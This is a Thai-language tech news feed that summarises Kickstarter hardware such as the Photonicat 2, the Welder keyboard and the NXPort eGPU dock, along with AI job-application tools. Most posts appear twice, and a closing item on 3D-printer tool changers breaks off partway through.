    🧱 “Photonicat 2 คอมพิวเตอร์พกพาแบบเปิดซอร์ส — แบตอึด 24 ชั่วโมง, รองรับ 5G, NVMe และปรับแต่งได้ทุกพอร์ต” ถ้า MacGyver ต้องเลือกคอมพิวเตอร์พกพาสักเครื่อง เขาอาจเลือก Photonicat 2 — อุปกรณ์ขนาดเท่าก้อนอิฐที่รวมทุกสิ่งไว้ในตัวเดียว ทั้งแบตเตอรี่ใช้งานได้ 24 ชั่วโมง, พอร์ตเชื่อมต่อรอบตัว, หน้าจอแสดงสถานะ, และระบบปฏิบัติการแบบเปิดซอร์สที่ปรับแต่งได้เต็มรูปแบบ Photonicat 2 เป็นรุ่นต่อยอดจาก Photonicat 1 ที่เคยเปิดตัวในฐานะเราเตอร์พกพาแบบเปิดซอร์ส โดยรุ่นใหม่นี้ยังคงแนวคิดเดิม แต่เพิ่มประสิทธิภาพอย่างชัดเจน ด้วยชิป Rockchip RK3576 แบบ 8 คอร์ ที่แรงกว่ารุ่นก่อนถึง 3 เท่า รองรับ RAM สูงสุด 16GB LPDDR5 และ eMMC สูงสุด 128GB พร้อมช่อง NVMe ขนาด 2230 สำหรับขยายพื้นที่เก็บข้อมูล ตัวเครื่องมีขนาด 154 x 78 x 32 มม. น้ำหนักประมาณ 485 กรัมเมื่อรวมแบตเตอรี่ ใช้แบตเตอรี่ 18650 จำนวน 4 ก้อน ให้พลังงานใช้งานต่อเนื่องได้ถึง 24 ชั่วโมง และรองรับการชาร์จเร็วผ่าน USB-C PD 30W ด้านการเชื่อมต่อ Photonicat 2 รองรับ dual gigabit Ethernet, HDMI 4K60, USB-C, USB 3.0, microSD, nano-SIM และช่องต่อเสาอากาศภายนอกสูงสุด 4 จุด เพื่อเพิ่มประสิทธิภาพสัญญาณ 5G หรือ Wi-Fi ในพื้นที่ห่างไกล หน้าจอ LCD ด้านหน้าสามารถแสดงข้อมูลแบบเรียลไทม์ เช่น ความเร็วเน็ต, อุณหภูมิ CPU, สถานะแบตเตอรี่ และ IP address โดยผู้ใช้สามารถปรับแต่งหน้าจอผ่าน JSON ได้ตามต้องการ ระบบปฏิบัติการรองรับ Linux kernel 6.12+, Debian, OpenWrt และ Android build script พร้อมรองรับ KVM virtualization ทำให้สามารถใช้งานเป็นทั้งคอมพิวเตอร์พกพา, เราเตอร์, NAS, หรือแม้แต่ UPS สำหรับอุปกรณ์เครือข่าย Photonicat 2 เปิดระดมทุนผ่าน Kickstarter และสามารถระดมทุนเกินเป้าหมายภายในเวลาไม่กี่วัน โดยมีแผนจัดส่งทั่วโลกในเดือนพฤศจิกายน 2025 ✅ ข้อมูลสำคัญจากข่าว ➡️ Photonicat 2 เป็นคอมพิวเตอร์พกพาแบบเปิดซอร์สรุ่นใหม่จาก Photonicat ➡️ ใช้ชิป Rockchip RK3576 แบบ 8 คอร์ แรงกว่ารุ่นก่อนถึง 3 เท่า ➡️ รองรับ RAM สูงสุด 16GB LPDDR5 และ eMMC สูงสุด 128GB ➡️ มีช่อง NVMe ขนาด 2230 สำหรับขยายพื้นที่เก็บข้อมูล ➡️ ใช้แบตเตอรี่ 18650 จำนวน 4 ก้อน ใช้งานได้สูงสุด 24 ชั่วโมง ➡️ รองรับการชาร์จเร็วผ่าน USB-C PD 30W ➡️ มีพอร์ตเชื่อมต่อครบครัน: Ethernet, HDMI 4K, USB-C, USB 3.0, microSD, nano-SIM ➡️ รองรับเสาอากาศภายนอกสูงสุด 4 จุด ➡️ หน้าจอ LCD แสดงข้อมูลแบบเรียลไทม์ ปรับแต่งได้ผ่าน JSON ➡️ รองรับ Linux kernel 6.12+, Debian, OpenWrt และ Android build script ➡️ ใช้งานได้ทั้งเป็นคอมพิวเตอร์, เราเตอร์, NAS หรือ UPS ➡️ ระดมทุนผ่าน Kickstarter และจัดส่งทั่วโลกใน พ.ย. 2025 ✅ ข้อมูลเสริมจากภายนอก ➡️ RK3576 เป็นชิป ARM ที่เน้นประสิทธิภาพและการจัดการพลังงาน ➡️ NVMe 2230 เป็นฟอร์แมต SSD ขนาดเล็กที่นิยมใช้ในอุปกรณ์พกพา ➡️ OpenWrt เป็นระบบปฏิบัติการสำหรับเราเตอร์ที่เน้นความปลอดภัยและการปรับแต่ง ➡️ KVM virtualization ช่วยให้ Photonicat 2 รันหลายระบบพร้อมกันได้ ➡️ การใช้ JSON ปรับแต่งหน้าจอช่วยให้ผู้ใช้ควบคุมอินเทอร์เฟซได้ละเอียด https://www.techradar.com/pro/if-mcgyver-bought-a-pc-it-would-probably-be-the-photonicat-brick-like-computer-has-built-in-24-hr-battery-ports-agogo-sim-slot-external-antennas-nvme-slot-and-is-open-source
    0 ความคิดเห็น 0 การแบ่งปัน 233 มุมมอง 0 รีวิว
  • “Welder Keyboard — คีย์บอร์ดจอสัมผัสพับได้ที่อาจแทนที่แล็ปท็อป สำหรับสายสร้างสรรค์ที่ต้องการพื้นที่ทำงานแบบไฮบริด”

    ในยุคที่การทำงานแบบมัลติทาสก์กลายเป็นเรื่องปกติ และอุปกรณ์พกพาต้องตอบโจทย์ทั้งความคล่องตัวและประสิทธิภาพ Welder Keyboard ได้เปิดตัวในฐานะ “คีย์บอร์ดกลไกพับได้พร้อมจอสัมผัส” ที่อาจกลายเป็นอุปกรณ์เสริมที่เปลี่ยนวิธีทำงานของผู้ใช้ไปโดยสิ้นเชิง

    Welder มาพร้อมแป้นพิมพ์กลไกแบบ 84 ปุ่มที่รองรับการเปลี่ยนสวิตช์ได้ (hot-swappable) และใช้ keycap แบบ PBT เพื่อความทนทานและสัมผัสที่ดีขึ้น ด้านบนของคีย์บอร์ดคือหน้าจอสัมผัสขนาด 12.8 นิ้ว ความละเอียด 1920 x 720 พิกเซล เป็น IPS panel ที่รองรับการสัมผัสแบบ 10 จุด พร้อมความสว่าง 300 cd/m² และมุมมอง 89 องศาทุกด้าน

    จุดเด่นคือการออกแบบให้พับได้ 180 องศา พร้อมโครงสร้างอลูมิเนียม CNC ที่แข็งแรงและน้ำหนักประมาณ 1.5 กก. แม้จะดูหนัก แต่เมื่อเทียบกับการได้ทั้งคีย์บอร์ดกลไก จอสัมผัส และฮับเชื่อมต่อในเครื่องเดียว ถือว่าเป็นการแลกเปลี่ยนที่คุ้มค่า

    Welder รองรับการเชื่อมต่อผ่าน USB-C สองช่อง และ USB-A หนึ่งช่อง ใช้งานได้กับ Windows, macOS, Linux และ Android โดยสามารถใช้เป็นจอที่สองสำหรับโน้ตบุ๊ก หรือแปลงสมาร์ทโฟน USB-C ให้กลายเป็นเวิร์กสเตชันขนาดย่อมได้ทันที

    นอกจากนี้ยังมีโหมดไฟ RGB ถึง 108 แบบที่เปลี่ยนได้ด้วยปุ่มลัดโดยไม่ต้องลงซอฟต์แวร์เสริม เหมาะกับทั้งสายเกมเมอร์และสายงานสร้างสรรค์ที่ต้องการบรรยากาศเฉพาะตัว

    แม้จะดูเหมือน “แล็ปท็อปปลอม” แต่ Welder ได้รับความนิยมอย่างรวดเร็วใน Kickstarter โดยระดมทุนได้เกินเป้าหมายถึง 13 เท่าในเวลาไม่กี่วัน ซึ่งสะท้อนถึงความต้องการของผู้ใช้ที่มองหาอุปกรณ์ไฮบริดที่ตอบโจทย์การทำงานยุคใหม่

    ข้อมูลสำคัญจากข่าว
    Welder Keyboard เป็นคีย์บอร์ดกลไกพับได้พร้อมจอสัมผัสขนาด 12.8 นิ้ว
    หน้าจอ IPS ความละเอียด 1920 x 720 รองรับสัมผัส 10 จุด และมีมุมมอง 89 องศาทุกด้าน
    รองรับการเปลี่ยนสวิตช์และใช้ keycap แบบ PBT เพื่อความทนทาน
    พับได้ 180 องศา พร้อมโครงสร้างอลูมิเนียม CNC น้ำหนักประมาณ 1.5 กก.
    รองรับการเชื่อมต่อผ่าน USB-C x2 และ USB-A x1 สำหรับพลังงาน ข้อมูล และภาพเสียง
    ใช้งานได้กับ Windows, macOS, Linux และ Android
    ใช้เป็นจอที่สอง หรือแปลงสมาร์ทโฟนให้เป็นเวิร์กสเตชันได้ทันที
    มีโหมดไฟ RGB 108 แบบ เปลี่ยนได้ด้วยปุ่มลัดโดยไม่ต้องลงซอฟต์แวร์
    ระดมทุนใน Kickstarter ได้เกินเป้าหมายถึง 13 เท่า

    ข้อมูลเสริมจากภายนอก
    Welder สามารถใช้จอสัมผัสเป็นแผงควบคุม Photoshop, timeline ตัดต่อ หรือหน้าต่างแชต
    การออกแบบให้พับได้ช่วยให้พกพาเหมือนแล็ปท็อป แต่ใช้งานได้หลากหลายกว่า
    จอสัมผัสแบบ laminated glass ช่วยลดแสงสะท้อนและเพิ่มความคมชัด
    RGB lighting มีโหมดตอบสนองต่อการพิมพ์ เช่น reactive touch และ breathing effect
    ใช้ได้กับสมาร์ทโฟน USB-C ที่รองรับ DisplayPort Alt Mode เช่น Samsung Galaxy และ Pixel

    https://www.techradar.com/pro/i-think-i-found-the-perfect-fake-laptop-for-my-projects-i-only-need-to-find-a-mouse-with-a-built-in-pc
    ⌨️ “Welder Keyboard — คีย์บอร์ดจอสัมผัสพับได้ที่อาจแทนที่แล็ปท็อป สำหรับสายสร้างสรรค์ที่ต้องการพื้นที่ทำงานแบบไฮบริด” ในยุคที่การทำงานแบบมัลติทาสก์กลายเป็นเรื่องปกติ และอุปกรณ์พกพาต้องตอบโจทย์ทั้งความคล่องตัวและประสิทธิภาพ Welder Keyboard ได้เปิดตัวในฐานะ “คีย์บอร์ดกลไกพับได้พร้อมจอสัมผัส” ที่อาจกลายเป็นอุปกรณ์เสริมที่เปลี่ยนวิธีทำงานของผู้ใช้ไปโดยสิ้นเชิง Welder มาพร้อมแป้นพิมพ์กลไกแบบ 84 ปุ่มที่รองรับการเปลี่ยนสวิตช์ได้ (hot-swappable) และใช้ keycap แบบ PBT เพื่อความทนทานและสัมผัสที่ดีขึ้น ด้านบนของคีย์บอร์ดคือหน้าจอสัมผัสขนาด 12.8 นิ้ว ความละเอียด 1920 x 720 พิกเซล เป็น IPS panel ที่รองรับการสัมผัสแบบ 10 จุด พร้อมความสว่าง 300 cd/m² และมุมมอง 89 องศาทุกด้าน จุดเด่นคือการออกแบบให้พับได้ 180 องศา พร้อมโครงสร้างอลูมิเนียม CNC ที่แข็งแรงและน้ำหนักประมาณ 1.5 กก. แม้จะดูหนัก แต่เมื่อเทียบกับการได้ทั้งคีย์บอร์ดกลไก จอสัมผัส และฮับเชื่อมต่อในเครื่องเดียว ถือว่าเป็นการแลกเปลี่ยนที่คุ้มค่า Welder รองรับการเชื่อมต่อผ่าน USB-C สองช่อง และ USB-A หนึ่งช่อง ใช้งานได้กับ Windows, macOS, Linux และ Android โดยสามารถใช้เป็นจอที่สองสำหรับโน้ตบุ๊ก หรือแปลงสมาร์ทโฟน USB-C ให้กลายเป็นเวิร์กสเตชันขนาดย่อมได้ทันที นอกจากนี้ยังมีโหมดไฟ RGB ถึง 108 แบบที่เปลี่ยนได้ด้วยปุ่มลัดโดยไม่ต้องลงซอฟต์แวร์เสริม เหมาะกับทั้งสายเกมเมอร์และสายงานสร้างสรรค์ที่ต้องการบรรยากาศเฉพาะตัว แม้จะดูเหมือน “แล็ปท็อปปลอม” แต่ Welder ได้รับความนิยมอย่างรวดเร็วใน Kickstarter โดยระดมทุนได้เกินเป้าหมายถึง 13 เท่าในเวลาไม่กี่วัน ซึ่งสะท้อนถึงความต้องการของผู้ใช้ที่มองหาอุปกรณ์ไฮบริดที่ตอบโจทย์การทำงานยุคใหม่ ✅ ข้อมูลสำคัญจากข่าว ➡️ Welder Keyboard เป็นคีย์บอร์ดกลไกพับได้พร้อมจอสัมผัสขนาด 12.8 นิ้ว ➡️ หน้าจอ IPS ความละเอียด 1920 x 720 รองรับสัมผัส 10 จุด และมีมุมมอง 89 องศาทุกด้าน ➡️ รองรับการเปลี่ยนสวิตช์และใช้ keycap แบบ PBT เพื่อความทนทาน ➡️ พับได้ 180 องศา พร้อมโครงสร้างอลูมิเนียม CNC น้ำหนักประมาณ 1.5 กก. ➡️ รองรับการเชื่อมต่อผ่าน USB-C x2 และ USB-A x1 สำหรับพลังงาน ข้อมูล และภาพเสียง ➡️ ใช้งานได้กับ Windows, macOS, Linux และ Android ➡️ ใช้เป็นจอที่สอง หรือแปลงสมาร์ทโฟนให้เป็นเวิร์กสเตชันได้ทันที ➡️ มีโหมดไฟ RGB 108 แบบ เปลี่ยนได้ด้วยปุ่มลัดโดยไม่ต้องลงซอฟต์แวร์ ➡️ ระดมทุนใน Kickstarter ได้เกินเป้าหมายถึง 13 เท่า ✅ ข้อมูลเสริมจากภายนอก ➡️ Welder สามารถใช้จอสัมผัสเป็นแผงควบคุม Photoshop, timeline ตัดต่อ หรือหน้าต่างแชต ➡️ การออกแบบให้พับได้ช่วยให้พกพาเหมือนแล็ปท็อป แต่ใช้งานได้หลากหลายกว่า ➡️ จอสัมผัสแบบ laminated glass ช่วยลดแสงสะท้อนและเพิ่มความคมชัด ➡️ RGB lighting มีโหมดตอบสนองต่อการพิมพ์ เช่น reactive touch และ breathing effect ➡️ ใช้ได้กับสมาร์ทโฟน USB-C ที่รองรับ DisplayPort Alt Mode เช่น Samsung Galaxy และ Pixel https://www.techradar.com/pro/i-think-i-found-the-perfect-fake-laptop-for-my-projects-i-only-need-to-find-a-mouse-with-a-built-in-pc
    0 ความคิดเห็น 0 การแบ่งปัน 213 มุมมอง 0 รีวิว
  • “NXPort เปิดตัว eGPU Dock ขนาดจิ๋ว พร้อมพลัง 650W — แรงระดับเดสก์ท็อปในมือคุณ แต่ความเสี่ยงยังน่ากังวล”

    ในยุคที่โน้ตบุ๊กบางเบากลายเป็นเครื่องมือหลักของนักสร้างสรรค์และเกมเมอร์ การเพิ่มพลังกราฟิกผ่าน eGPU จึงเป็นทางออกที่หลายคนเลือก ล่าสุด NXPort ได้เปิดตัว eGPU Dock ที่อ้างว่า “เล็กที่สุดในโลก” พร้อมพลังงานในตัวถึง 650W โดยมีขนาดเพียง 169 x 102 x 82 มม. และน้ำหนัก 1.3 กก.

    จุดเด่นของ NXPort คือการรวมพลังงานและการเชื่อมต่อไว้ในอุปกรณ์เดียว รองรับ GPU แทบทุกชนิดผ่านพอร์ต Thunderbolt 3/4/5 และ USB4 โดยไม่ต้องใช้ power brick แยก ทำให้สามารถใช้งานแบบ plug-and-play ได้ทันที แม้จะใช้กับโน้ตบุ๊กรุ่นกลางก็สามารถเพิ่มประสิทธิภาพได้ถึง 6 เท่าในการทดสอบกับ RTX 4060

    ตัวเครื่องรองรับการใช้งานหนัก เช่น การเรนเดอร์วิดีโอ, การฝึกโมเดล AI, และงานกราฟิกระดับสูง โดยมีการออกแบบให้รองรับหัวต่อไฟหลากหลายแบบ ตั้งแต่ 8-pin ไปจนถึง quad 8-pin (12VHPWR) เพื่อรองรับ GPU รุ่นใหม่ในอนาคต

    อย่างไรก็ตาม การออกแบบแบบ “open-frame” ที่ไม่มีฝาครอบทำให้ GPU อยู่ในสภาพเปิดโล่ง เสี่ยงต่อฝุ่น ความร้อน และการกระแทก โดยเฉพาะเมื่อใช้กับการ์ดราคาแพงอย่าง RTX 5090 ที่มีมูลค่าถึง $1,999

    แม้จะผ่านมาตรฐาน ATX 3.1 ในด้านการจ่ายไฟ แต่ยังไม่มีการทดสอบประสิทธิภาพระยะยาวภายใต้โหลดหนัก ทำให้ผู้ใช้บางส่วนยังลังเลที่จะลงทุน โดยเฉพาะเมื่อโครงการนี้ยังอยู่ในระยะระดมทุนผ่าน Kickstarter ซึ่งมีความเสี่ยงด้านการส่งมอบและคุณภาพสินค้า

    ข้อมูลสำคัญจากข่าว
    NXPort เปิดตัว eGPU Dock ขนาดเล็กที่สุดในโลก พร้อมพลังงานในตัว 650W
    ขนาดตัวเครื่อง 169 x 102 x 82 มม. น้ำหนัก 1.3 กก.
    รองรับการเชื่อมต่อผ่าน Thunderbolt 3/4/5 และ USB4
    รองรับ GPU แทบทุกชนิด รวมถึง RTX 5090 และหัวต่อไฟหลายแบบ
    ใช้งานแบบ plug-and-play ไม่ต้องใช้ power brick แยก
    ทดสอบกับ RTX 4060 แล้วได้ผลลัพธ์ benchmark เพิ่มขึ้น 6 เท่า
    เหมาะกับงานกราฟิก, การเรนเดอร์, และการฝึกโมเดล AI
    ผ่านมาตรฐาน ATX 3.1 ในด้านการจ่ายไฟ
    ราคาเริ่มต้น $239 สำหรับตัว dock และ $459 เมื่อรวม RTX 3050
    โครงการระดมทุนผ่าน Kickstarter ได้รับเงินสนับสนุนเกินเป้าหมายแล้ว

    ข้อมูลเสริมจากภายนอก
    Razer Core และ Gigabyte AORUS เป็น eGPU รุ่นก่อนที่มีขนาดใหญ่และต้องใช้ power supply แยก
    Thunderbolt 5 ให้แบนด์วิดธ์สูงถึง 64Gbps แต่ NXPort ยังใช้ Thunderbolt 4/USB4 ที่จำกัดที่ 40Gbps
    eGPU แบบ open-frame เคยถูกวิจารณ์เรื่องความปลอดภัยและการระบายความร้อน
    การใช้ eGPU ช่วยยืดอายุการใช้งานโน้ตบุ๊กโดยไม่ต้องซื้อเครื่องใหม่
    การฝึกโมเดล AI ขนาดใหญ่ต้องการ GPU ที่มีหน่วยความจำสูงและระบบระบายความร้อนดี

    https://www.techradar.com/pro/this-is-the-worlds-smallest-egpu-dock-with-a-built-in-650w-psu-i-am-not-sure-that-id-be-comfortable-with-my-usd1-999-geforce-rtx-5090-gpu-exposed-to-the-elements
    🧳 “NXPort เปิดตัว eGPU Dock ขนาดจิ๋ว พร้อมพลัง 650W — แรงระดับเดสก์ท็อปในมือคุณ แต่ความเสี่ยงยังน่ากังวล” ในยุคที่โน้ตบุ๊กบางเบากลายเป็นเครื่องมือหลักของนักสร้างสรรค์และเกมเมอร์ การเพิ่มพลังกราฟิกผ่าน eGPU จึงเป็นทางออกที่หลายคนเลือก ล่าสุด NXPort ได้เปิดตัว eGPU Dock ที่อ้างว่า “เล็กที่สุดในโลก” พร้อมพลังงานในตัวถึง 650W โดยมีขนาดเพียง 169 x 102 x 82 มม. และน้ำหนัก 1.3 กก. จุดเด่นของ NXPort คือการรวมพลังงานและการเชื่อมต่อไว้ในอุปกรณ์เดียว รองรับ GPU แทบทุกชนิดผ่านพอร์ต Thunderbolt 3/4/5 และ USB4 โดยไม่ต้องใช้ power brick แยก ทำให้สามารถใช้งานแบบ plug-and-play ได้ทันที แม้จะใช้กับโน้ตบุ๊กรุ่นกลางก็สามารถเพิ่มประสิทธิภาพได้ถึง 6 เท่าในการทดสอบกับ RTX 4060 ตัวเครื่องรองรับการใช้งานหนัก เช่น การเรนเดอร์วิดีโอ, การฝึกโมเดล AI, และงานกราฟิกระดับสูง โดยมีการออกแบบให้รองรับหัวต่อไฟหลากหลายแบบ ตั้งแต่ 8-pin ไปจนถึง quad 8-pin (12VHPWR) เพื่อรองรับ GPU รุ่นใหม่ในอนาคต อย่างไรก็ตาม การออกแบบแบบ “open-frame” ที่ไม่มีฝาครอบทำให้ GPU อยู่ในสภาพเปิดโล่ง เสี่ยงต่อฝุ่น ความร้อน และการกระแทก โดยเฉพาะเมื่อใช้กับการ์ดราคาแพงอย่าง RTX 5090 ที่มีมูลค่าถึง $1,999 แม้จะผ่านมาตรฐาน ATX 3.1 ในด้านการจ่ายไฟ แต่ยังไม่มีการทดสอบประสิทธิภาพระยะยาวภายใต้โหลดหนัก ทำให้ผู้ใช้บางส่วนยังลังเลที่จะลงทุน โดยเฉพาะเมื่อโครงการนี้ยังอยู่ในระยะระดมทุนผ่าน Kickstarter ซึ่งมีความเสี่ยงด้านการส่งมอบและคุณภาพสินค้า ✅ ข้อมูลสำคัญจากข่าว ➡️ NXPort เปิดตัว eGPU Dock ขนาดเล็กที่สุดในโลก พร้อมพลังงานในตัว 650W ➡️ ขนาดตัวเครื่อง 169 x 102 x 82 มม. น้ำหนัก 1.3 กก. ➡️ รองรับการเชื่อมต่อผ่าน Thunderbolt 3/4/5 และ USB4 ➡️ รองรับ GPU แทบทุกชนิด รวมถึง RTX 5090 และหัวต่อไฟหลายแบบ ➡️ ใช้งานแบบ plug-and-play ไม่ต้องใช้ power brick แยก ➡️ ทดสอบกับ RTX 4060 แล้วได้ผลลัพธ์ benchmark เพิ่มขึ้น 6 เท่า ➡️ เหมาะกับงานกราฟิก, การเรนเดอร์, และการฝึกโมเดล AI ➡️ ผ่านมาตรฐาน ATX 3.1 ในด้านการจ่ายไฟ ➡️ ราคาเริ่มต้น $239 สำหรับตัว dock และ $459 เมื่อรวม RTX 3050 ➡️ โครงการระดมทุนผ่าน Kickstarter ได้รับเงินสนับสนุนเกินเป้าหมายแล้ว ✅ ข้อมูลเสริมจากภายนอก ➡️ Razer Core และ Gigabyte AORUS เป็น eGPU รุ่นก่อนที่มีขนาดใหญ่และต้องใช้ power supply แยก ➡️ Thunderbolt 5 ให้แบนด์วิดธ์สูงถึง 64Gbps แต่ NXPort ยังใช้ Thunderbolt 4/USB4 ที่จำกัดที่ 40Gbps ➡️ eGPU แบบ open-frame เคยถูกวิจารณ์เรื่องความปลอดภัยและการระบายความร้อน ➡️ การใช้ eGPU ช่วยยืดอายุการใช้งานโน้ตบุ๊กโดยไม่ต้องซื้อเครื่องใหม่ ➡️ การฝึกโมเดล AI ขนาดใหญ่ต้องการ GPU ที่มีหน่วยความจำสูงและระบบระบายความร้อนดี https://www.techradar.com/pro/this-is-the-worlds-smallest-egpu-dock-with-a-built-in-650w-psu-i-am-not-sure-that-id-be-comfortable-with-my-usd1-999-geforce-rtx-5090-gpu-exposed-to-the-elements
    0 ความคิดเห็น 0 การแบ่งปัน 242 มุมมอง 0 รีวิว
  • “5 เครื่องมือ AI ช่วยสมัครงานที่ดีที่สุดในปี 2025 — จากจัดการเรซูเม่ถึงสมัครอัตโนมัติ แต่ต้องใช้ด้วยความระวัง”

    ในยุคที่การหางานกลายเป็นภารกิจที่กินพลังชีวิตมากกว่าที่คิด ทั้งการเขียนเรซูเม่ให้ตรงกับแต่ละตำแหน่ง การตอบคำถามคัดกรอง และการติดตามสถานะการสมัคร — AI ได้เข้ามาเป็นผู้ช่วยที่ทรงพลัง แต่ก็ไม่ใช่ไร้ข้อจำกัด

    บทความจาก SlashGear ได้จัดอันดับเครื่องมือ AI ที่ดีที่สุดสำหรับการสมัครงานในปี 2025 โดยอิงจากประสบการณ์ตรงของผู้เขียนที่เคยทำงานด้าน HR และการวิเคราะห์ฟีเจอร์ของแต่ละแพลตฟอร์ม ซึ่งครอบคลุมตั้งแต่การจัดการเรซูเม่ การตรวจสอบ ATS ไปจนถึงการสมัครงานแบบอัตโนมัติ

    เครื่องมือที่ได้รับการแนะนำ ได้แก่:
    - Huntr สำหรับการติดตามสถานะการสมัครและจัดการเรซูเม่หลายเวอร์ชัน
    - Enhancv สำหรับตรวจสอบว่าเรซูเม่ผ่านระบบ ATS ได้หรือไม่
    - JobCopilot สำหรับการสมัครงานอัตโนมัติแบบไม่ต้องกรอกซ้ำ
    - LinkedIn Job Match AI สำหรับการจับคู่ตำแหน่งงานกับโปรไฟล์ของผู้สมัคร
    - Kickresume สำหรับการปรับแต่งเรซูเม่ให้ตรงกับประกาศงานและดูเป็นมืออาชีพ

    แม้เครื่องมือเหล่านี้จะช่วยลดภาระในการสมัครงาน แต่ก็มีข้อควรระวัง เช่น การแชร์ข้อมูลส่วนตัวกับระบบ AI, ความเสี่ยงจากการสมัครงานที่ไม่ตรงเป้าหมาย และการถูกกรองออกโดยระบบของบริษัทที่ไม่รับเรซูเม่ที่สร้างด้วย AI

    เครื่องมือ AI ที่ช่วยในการสมัครงาน
    Huntr: ติดตามสถานะการสมัคร, จัดการเรซูเม่, เก็บข้อมูลประกาศงาน
    Enhancv: ตรวจสอบเรซูเม่ให้ผ่านระบบ ATS, วิเคราะห์ความยาว, bullet points, การใช้คำซ้ำ
    JobCopilot: สมัครงานอัตโนมัติ, ตอบคำถามคัดกรองครั้งเดียว, มีแดชบอร์ดติดตาม
    LinkedIn Job Match AI: วิเคราะห์ความเหมาะสมของโปรไฟล์กับตำแหน่งงาน, ใช้ได้เฉพาะผู้ใช้ Premium
    Kickresume: สร้างและปรับแต่งเรซูเม่ด้วย AI, เลือกรับคำแนะนำเฉพาะจุด, รองรับการเขียน cover letter

    ข้อมูลเสริมจากภายนอก
    ATS (Applicant Tracking System) เป็นระบบที่บริษัทใช้กรองเรซูเม่ก่อนถึงมือ HR
    Resume ที่ไม่ผ่าน ATS จะถูกคัดออกทันที แม้จะมีคุณสมบัติเหมาะสม
    AI resume optimization ช่วยให้ผ่านการกรองเบื้องต้นและเพิ่มโอกาสเข้าสัมภาษณ์
    เครื่องมืออย่าง Careerflow, LoopCV, Sonara.ai ก็เป็นตัวเลือกที่น่าสนใจในตลาดเดียวกัน

    https://www.slashgear.com/1942696/best-ai-tools-applying-to-jobs-ranked/
    🤖 “5 เครื่องมือ AI ช่วยสมัครงานที่ดีที่สุดในปี 2025 — จากจัดการเรซูเม่ถึงสมัครอัตโนมัติ แต่ต้องใช้ด้วยความระวัง” ในยุคที่การหางานกลายเป็นภารกิจที่กินพลังชีวิตมากกว่าที่คิด ทั้งการเขียนเรซูเม่ให้ตรงกับแต่ละตำแหน่ง การตอบคำถามคัดกรอง และการติดตามสถานะการสมัคร — AI ได้เข้ามาเป็นผู้ช่วยที่ทรงพลัง แต่ก็ไม่ใช่ไร้ข้อจำกัด บทความจาก SlashGear ได้จัดอันดับเครื่องมือ AI ที่ดีที่สุดสำหรับการสมัครงานในปี 2025 โดยอิงจากประสบการณ์ตรงของผู้เขียนที่เคยทำงานด้าน HR และการวิเคราะห์ฟีเจอร์ของแต่ละแพลตฟอร์ม ซึ่งครอบคลุมตั้งแต่การจัดการเรซูเม่ การตรวจสอบ ATS ไปจนถึงการสมัครงานแบบอัตโนมัติ เครื่องมือที่ได้รับการแนะนำ ได้แก่: - Huntr สำหรับการติดตามสถานะการสมัครและจัดการเรซูเม่หลายเวอร์ชัน - Enhancv สำหรับตรวจสอบว่าเรซูเม่ผ่านระบบ ATS ได้หรือไม่ - JobCopilot สำหรับการสมัครงานอัตโนมัติแบบไม่ต้องกรอกซ้ำ - LinkedIn Job Match AI สำหรับการจับคู่ตำแหน่งงานกับโปรไฟล์ของผู้สมัคร - Kickresume สำหรับการปรับแต่งเรซูเม่ให้ตรงกับประกาศงานและดูเป็นมืออาชีพ แม้เครื่องมือเหล่านี้จะช่วยลดภาระในการสมัครงาน แต่ก็มีข้อควรระวัง เช่น การแชร์ข้อมูลส่วนตัวกับระบบ AI, ความเสี่ยงจากการสมัครงานที่ไม่ตรงเป้าหมาย และการถูกกรองออกโดยระบบของบริษัทที่ไม่รับเรซูเม่ที่สร้างด้วย AI ✅ เครื่องมือ AI ที่ช่วยในการสมัครงาน ➡️ Huntr: ติดตามสถานะการสมัคร, จัดการเรซูเม่, เก็บข้อมูลประกาศงาน ➡️ Enhancv: ตรวจสอบเรซูเม่ให้ผ่านระบบ ATS, วิเคราะห์ความยาว, bullet points, การใช้คำซ้ำ ➡️ JobCopilot: สมัครงานอัตโนมัติ, ตอบคำถามคัดกรองครั้งเดียว, มีแดชบอร์ดติดตาม ➡️ LinkedIn Job Match AI: วิเคราะห์ความเหมาะสมของโปรไฟล์กับตำแหน่งงาน, ใช้ได้เฉพาะผู้ใช้ Premium ➡️ Kickresume: สร้างและปรับแต่งเรซูเม่ด้วย AI, เลือกรับคำแนะนำเฉพาะจุด, รองรับการเขียน cover letter ✅ ข้อมูลเสริมจากภายนอก ➡️ ATS (Applicant Tracking System) เป็นระบบที่บริษัทใช้กรองเรซูเม่ก่อนถึงมือ HR ➡️ Resume ที่ไม่ผ่าน ATS จะถูกคัดออกทันที แม้จะมีคุณสมบัติเหมาะสม ➡️ AI resume optimization ช่วยให้ผ่านการกรองเบื้องต้นและเพิ่มโอกาสเข้าสัมภาษณ์ ➡️ เครื่องมืออย่าง Careerflow, LoopCV, Sonara.ai ก็เป็นตัวเลือกที่น่าสนใจในตลาดเดียวกัน https://www.slashgear.com/1942696/best-ai-tools-applying-to-jobs-ranked/
    WWW.SLASHGEAR.COM
    5 Of The Best AI Tools For Applying To Jobs, Ranked - SlashGear
    5 of the best AI tools to streamline your job search, from resume optimization and application tracking to LinkedIn job matching and auto-apply options.
    0 ความคิดเห็น 0 การแบ่งปัน 279 มุมมอง 0 รีวิว
  • เรื่องเล่าจากสนามหัวพิมพ์: เมื่อ Prusa, Bambu, AtomForm และ Snapmaker เปิดศึกแย่งชิงอนาคตของการพิมพ์หลายสี

    ในเดือนสิงหาคม 2025 วงการ 3D printing สั่นสะเทือนด้วยการเปิดตัวเครื่องพิมพ์แบบ “tool changer” ถึง 4 รุ่นในเวลาใกล้เคียงกัน โดยแต่ละค่ายต่างมีแนวทางเฉพาะของตนเองในการจัดการกับปัญหา “การพิมพ์หลายสีหรือหลายวัสดุ” ที่เคยยุ่งยากและเปลืองวัสดุ

    Snapmaker เปิดตัว U1 บน Kickstarter ด้วยราคาต่ำสุดเพียง $649 สำหรับผู้สนับสนุนกลุ่มแรก และสามารถระดมทุนได้กว่า $13 ล้านจากผู้สนับสนุนกว่า 14,000 คนภายในไม่กี่วัน AtomForm จากจีนเปิดตัว Palette 300 ที่มีหัวพิมพ์ถึง 12 หัว โดยใช้เทคนิคสลับหัวแบบ low-footprint และเตรียมเปิดตัวบน Kickstarter ด้วยราคาเริ่มต้น $1,499

